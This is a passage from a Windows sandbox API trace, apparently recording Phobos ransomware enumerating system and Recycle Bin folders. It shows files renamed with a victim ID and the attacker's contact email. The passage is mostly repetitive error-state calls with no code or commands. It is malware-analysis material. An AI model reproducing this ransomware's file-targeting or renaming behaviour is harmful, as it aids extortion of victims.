returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.692] SetLastError (dwErrCode=0x0) [0161.692] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.693] SetLastError (dwErrCode=0x0) [0161.693] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.694] GetLastError () returned 0x0 [0161.694] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.695] SetLastError (dwErrCode=0x0) [0161.695] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.696] SetLastError (dwErrCode=0x0) [0161.696] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.697] SetLastError (dwErrCode=0x0) [0161.697] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.698] SetLastError (dwErrCode=0x0) [0161.698] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.699] GetLastError () returned 0x0 [0161.699] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.700] SetLastError (dwErrCode=0x0) [0161.700] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.701] SetLastError (dwErrCode=0x0) [0161.701] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.702] SetLastError (dwErrCode=0x0) [0161.702] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.703] SetLastError (dwErrCode=0x0) [0161.703] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.704] SetLastError (dwErrCode=0x0) [0161.704] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.705] SetLastError (dwErrCode=0x0) [0161.705] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.706] GetLastError () returned 0x0 [0161.706] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.707] SetLastError (dwErrCode=0x0) [0161.707] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.708] SetLastError (dwErrCode=0x0) [0161.708] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.709] SetLastError (dwErrCode=0x0) [0161.709] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] GetLastError () returned 0x0 [0161.710] SetLastError (dwErrCode=0x0) [0161.710] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef18a44c, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef18a44c, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef18a44c, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="OOBE_2~1.PHO")) returned 1 [0161.710] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef18a44c, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef18a44c, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef307c24, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0161.711] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef18a44c, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef18a44c, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef307c24, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 0 [0161.711] FindClose (in: hFindFile=0x1b9348 | out: hFindFile=0x1b9348) returned 1 [0161.711] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x2a10080 | out: hHeap=0x6f0000) returned 1 [0161.711] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0161.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b9388 [0161.712] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.712] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef249438, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef249438, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef2bb65a, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="GETCUR~2.PHO")) returned 1 [0161.713] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1b06d9, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef1b06d9, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef1d6954, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="GETCUR~1.PHO")) returned 1 [0161.713] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef249438, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef249438, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef2e19c5, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0161.713] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2bb65a, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef2bb65a, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef2e19c5, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="PREOOB~1.PHO")) returned 1 [0161.713] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4f7aed, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef4f7aed, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef5dc858, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 1 [0161.713] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4f7aed, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef4f7aed, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef5dc858, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 0 [0161.713] FindClose (in: hFindFile=0x1b9388 | out: hFindFile=0x1b9388) returned 1 [0161.714] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x2a10080 | out: hHeap=0x6f0000) returned 1 [0161.714] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0161.714] FindClose (in: hFindFile=0x1b9208 | out: hFindFile=0x1b9208) returned 1 [0161.715] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x2a00078 | out: hHeap=0x6f0000) returned 1 [0161.715] FindNextFileW (in: hFindFile=0x1b8e88, lpFindFileData=0x299f5a8 | out: lpFindFileData=0x299f5a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x299f7d0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0161.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x1b9208 [0161.716] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0161.716] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x299f324 | out: lpFindFileData=0x299f324*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0161.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b9288 [0161.717] FindNextFileW (in: hFindFile=0x1b9288, lpFindFileData=0x299f0a0 | out: lpFindFileData=0x299f0a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.717] FindNextFileW 